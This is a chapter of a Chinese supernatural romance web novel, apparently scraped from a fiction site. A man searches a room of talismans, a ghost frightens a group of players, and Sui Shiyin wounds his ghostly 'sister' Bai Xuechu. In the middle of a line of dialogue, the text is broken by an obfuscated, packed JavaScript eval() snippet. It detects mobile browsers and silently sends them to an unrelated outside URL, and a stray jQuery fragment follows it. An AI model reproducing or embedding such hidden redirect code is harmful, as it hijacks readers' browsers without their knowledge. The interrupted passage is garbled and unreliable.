文趣网 > 其他小说 > 今天也有撩到小猫吗 > 12. 无言
    岁时吟并没有绑的很紧,温碎很轻易就挣开了手上的束缚,他坐起身,将蒙在脸上的布条一把扯下。

    脚刚落地,他便注意到靠窗的位置有座梳妆台,上面放着一面擦得锃亮的铜镜。

    这间屋子是昨天岁时吟让给他的那一间,也是岁时吟以前住过的屋子,昨日只想着西院,他还并未好好看过这间屋子。

    现在静下来,倒是发现这屋里居然有不少异常,岁时吟一个男人,这屋里居然有不少女人用的东西。

    温碎随手拿起一个银色小盒打开,里面装着满满当当的赤红色粉末,一些已经凝成了小块儿,细嗅还带着一股子泥土腥气。

    这应该是朱砂无疑,古代女子常用来做口脂,道士用于辟邪。

    温碎又拿起一旁的木梳在指尖摩挲,做工粗糙、没刷桐油不说,连木屑都没磨平,应该是岁时吟自己做的。

    而材料,像是桃木……

    温碎把木梳放了回去,打开梳妆台的抽屉。

    一节柳枝条,叶片手指一抿就碎掉,放了挺长时间。

    五枚铜钱,其中一枚断了个角,剩下的上面的纹路都快被磨平了,像是被人经常搓弄。

    ……

    最后是一件小匣子,里面装了一沓子黄纸,每一张上都带着淡淡血腥气,上面一连串的鬼画符让人看不明白。

    温碎将东西一一复回原位,却在转身的间隙,看到了墙和床的缝隙里有一小节黄纸露出来。

    他将被褥全部掀开,这张左上角是空心的,那块地方镶嵌了用黄纸包的密不透风的东西。

    温碎将黄纸扯下,露出黑色的木箱子,打开后内里置了一个巴掌大的陶俑,陶俑脸上也贴着黄纸。

    他取出陶俑,握在手里晃了晃,好像装了沙子之类的东西,传来“沙沙”声。

    陶俑是个女娃娃,头顶有个被封上的小洞,那些沙子应该是从这里灌进去的。

    可如果是沙子,为什么还要贴黄符呢?

    温碎想把陶俑带走,摸了半天没在自己身上摸到口袋,才想起这身体是柳姜圆的。

    他没再过多停留,带上陶俑离开了东院。

    *

    第三轮游戏开始,王胜强刚刚那么一闹,不少人首当其冲投他。

    王胜强脸色铁青,见自己一旁的外卖员陈文斌要写字,他一把将笔夺了过来。

    陈文斌怒瞪着他,但也不敢说什么,只能把肚子里的气又往下咽了咽。

    林雅在一旁看着,两只手抖得握笔都握不住,手里的笔掉下了桌子,她躬身去捡,手指刚摸到笔杆,忽而发现桌布里有东西一闪而过。

    她有点怕,却还是忍不住将桌布撩开。

    桌子下黑漆漆一片,什么都没有,林雅松了口气,要把桌布放下,她手还未动,余光却瞥到个椭圆的东西。

    林雅顺势望去,那儿正有颗头颅正盯着她笑……

    那颗头是白风立的……

    林雅吓得尖叫,把身边的张阿财和孙喜……也吓得虎躯一震。

    王茂胆子还算大,也学林雅去看,却什么都没看到,“你瞎叫唤什么。”

    “那里面,里面有,有白风立的头……”林雅捂着嘴往后退,直到鞋跟“咚”的一声碰到了身后的墙,她才像一尾从岸边溜入湖里的鱼,获得了喘息的机会。

    白雪霁一想到林雅话里的场面,胃里再次袭来一阵翻江倒海,捂着嘴又去吐。

    温碎紧盯着林雅的身后,不知是不是林雅刚刚撞在的墙上的劲儿大了点,他感觉那幅被盖住的画刚刚好像动了一下。

    林雅的因果线渐渐出现,白色的流光从林雅的指尖的红绳一路往背后流去。

    终于找到那个吸人魂魄的东西了。

    自从岁时吟被转移到了幻境,那个东西便开始露出马脚,利用白风立的尸体给在座的这些人施加恐惧,人处于极端情绪之下魂魄会变得更脆弱、更混乱,自然更方便神不知鬼不觉地抽取。

    不过现在还不是打草惊蛇的时候,他要找到那个东西的本体,后面的那幅画只是一个媒介。

    *

    “阿姊之后有何打算?”

    岁时吟把塞进眼窝骨的头发薅了出来,给这堆骨头理了理仪容,至少看起来不那么凌乱了。

    他拽着裙摆将最后一点褶皱消灭,用砖头压好,这样即便大风吹也不至于乱飞。

    从远处看,这棺材里尸骨倒是有一种怪诞的美,只是下半身的裙子撑不起来,塌陷了进去。

    “这才三个人,还有六个活着呢。”那女鬼白雪初坐在棺材边,两只赤脚在空中来回踢着,“阿弟,我好喜欢我的腿,可我没有腿了。”

    说完白雪初抱起了自己两条腿,她的眼眶留下两行血泪,腿也开始消失。

    岁时吟咬了咬嘴唇,原本敛起的笑再次挂了回去,他半蹲在白雪初身前,轻轻托起原本是脚的地方。

    “阿姊,他会死的很惨的,阿弟会帮你报仇。”

    “可是,阿弟,你背叛了我。”白雪初垂下的手勾起了岁时吟的下巴,“连你也要背弃我,阿弟,我们不是亲姐弟吗?”

    “对啊,我们是亲姐弟,我的一举一动不都在阿姊的注视下。”岁时吟握住白雪初的那根手指,“何来背叛一说?”

    “所以,阿弟现在是?”

    “我想想,应该算是明叛吧。”

    岁时吟站起身子,从怀里掏出一把木质短剑,朝白雪初划过,霎那间,白雪初的魂魄像一滩被搅动的水碎掉,而后消失不见。

    “阿弟,这么多年过去,你还不知道,这些东西对我没用吗?”白雪初的身影出现在屋檐之上,她坐于其间,手背撑着下巴,目光里尽是轻蔑不屑。

    岁时吟抬头抹了一把嘴角,手里的木剑不知何时已经染上了血,“是吗?那阿姊还是真上天入地,无人可阻了呀。”

    白雪初看着自己刚刚被木剑划过的地方,竟然没有愈合,她眉头微蹙,怔怔地看着眼前的少年郎,一瞬间这般张扬疯乱的身影竟让她觉得如此陌生……

    “你,不是我弟弟……”

    “我也这样觉得,从昨天开始,我便觉得不对劲,我竟是这般容易受制于人之人吗

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714764|208502||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ?”岁时吟嗤笑一声。

    “所以,我在想,怎么杀了你,我要让你魂飞魄散。”

    “那样你也会死,你不敢的。”

    “阿姊,那你也太不了解我了。”

    岁时吟举起自己的手,手掌心里的血窟窿正往外滴血,他的衣袖尽被染红,“这是第一剑,可惜只伤了你一些皮毛,但也足够了,你现在没法再回到我的躯体里。”

    “好啊,很好。”瞬时,白雪初的脖子青筋暴起,她冷笑:“若我早知今日,当初就不该救你!白雪瑞,你怎么敢这么对我!”

    随着话语落下,四下大风起,挂在檐下的白绸尽数刮飞。

    *

    温碎赶到时,见到的便是这一幕,白雪初抓着岁时吟的脖子把对方提起,五指钻进了对方的皮肉里,血顺着苍白的脖颈往下淌。

    岁时吟还在笑,那双眼早已布满了血丝,他整张脸都在用力呼吸,下巴两侧的血管往外凸。

    温碎顾不上那么多,想施法救岁时吟,发现一点法力使不出来。

    忽见不远处岁时吟丢下的小木剑,温碎将其,一剑捅进了白雪初的腹部。

    速度之快,白雪初根本没反应过来,她的魂魄再次如水波纹般散开,消失。

    岁时吟被松开,整个人往下落,跌在温碎的怀里。

    “小姨娘,你不乖啊。”

    温碎没吭声,他抬眼望向连廊下的白雪初,对方的魂魄再次复原。

    “柳姜圆……”白雪初咬牙切齿地念着那个名字,“你怎么还没死,我明明已经——”

    “阿姊,根本没有什么能混淆你视听的符咒,都是假的……”岁时吟说完,呕得吐出一口血来,“叫阿姊,好像太恶心了,应该叫你白雪初。”

    温碎垂眸,拧着眉捂住怀里之人的嘴,他没想到这人都这样了,还不忘嘴臭两句。

    “闭嘴。”

    岁时吟闭上眼,轻轻握住温碎的手,吻了吻对方的手心:“嘿嘿,小姨娘,你好香。”

    温碎:……

    岁时吟拽开温碎的手,忽然正经,他低声细语:“小姨娘,一会儿我拖住她,你快跑,能跑多远跑多远。”

    “我不跑。”温碎道。

    岁时吟轻笑:“你怎么不乖了呢?那你就当心疼我这条命,好不好,求你了,疼疼我。我想让你活下去。”

    温碎松开了手,岁时吟整个人摔在地上,瘫着再也没了起来力气。

    “没力气就好好呆着。”温碎径直从岁时吟身上跨过,裙摆被对方攥在手里,他没理会。

    “刺啦”一声,那块布裂开了,岁时吟的心漏了一拍,他死死盯着温碎的背影,双眼通红,“你若要与我同死,真有来世的话……”我想娶你。

    后半句话被咽进了肚里,岁时吟想起柳姜圆的身份,竟是根本不知自己到底有何资格说这种话。

    吾此生作恶,定要入那十八层地狱,无妨,吾愿日日祈,年年祝。

    若有来世,愿卿一生安好,顺遂无虞,岁岁平安。

    不管你是柳姜圆,还是别的什么……